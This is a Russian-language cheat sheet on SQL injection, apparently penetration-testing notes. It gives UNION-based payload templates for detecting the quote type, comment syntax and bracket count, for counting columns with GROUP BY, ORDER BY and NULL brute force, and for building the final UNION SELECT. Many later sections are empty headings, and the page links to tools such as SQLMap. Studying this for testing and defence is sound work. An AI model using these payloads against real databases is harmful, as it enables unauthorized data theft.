Sqlinj
Содержание
Вводная
Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.
Как задетектить
SELECT
UNION-Based
Определение типа кавычки
1. Найти точку ввода данных
2. Найти параметр, который возвращает какое-либо из значений.
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
1
2 {параметр} aNd 1=1
3 {параметр} aNd 1=1
4 {параметр}/**/aNd/**/1=1
5 {параметр} -- {\n} aNd 1=1
6
7 {параметр}' aNd '1'='1
8 {параметр}' aNd '1'='1
9 {параметр}'/**/aNd/**/'1'='1
10 {параметр}' -- {\n} aNd '1'='1
11
12 {параметр}" aNd "1"="1
13 {параметр}" aNd "1"="1
14 {параметр}"/**/aNd/**/"1"="1
15 {параметр}" -- {\n} aNd "1"="1
(Если сработал первый пример, то {кавычка}==={пустое место} :)
Знак комментария и количество скобок
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
1 {параметр}{кавычка} -- 1
2 {параметр}{кавычка}) -- 1
3 {параметр}{кавычка})) -- 1
4 {параметр}{кавычка})...) -- 1
5
6 {параметр}{кавычка} # 1
7 {параметр}{кавычка}) # 1
8 {параметр}{кавычка})) # 1
9 {параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY
Есть у MySQL,(добавить).
Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).
1 {параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}
ORDER BY
Есть у MySQL,(добавить).
Аналогично GROUP BY.
Bruteforce
1 {параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
2 {параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
3 {параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Итоговый запрос
1 {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание
В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).
1 LIMIT 1
2 LIMIT 0,1
3 WHERE ROWNUM=1
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.
Error-Based
Boolean-Based
Time-Based
auth
INSERT
DELETE
UPDATE
EXEC
Как проэксплуатировать
Общее
MySQL
OracleDB
PostgreSQL
SQLite3
IBM DB2
Ссылки
Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt
Мануал на Рдот - один из лучших.
https://rdot.org/forum/showthread.php?t=124
TOOLS
SQLMap (crossplatform)
Havij (win)
http://sqlninja.sourceforge.net/sqlninja-howto.html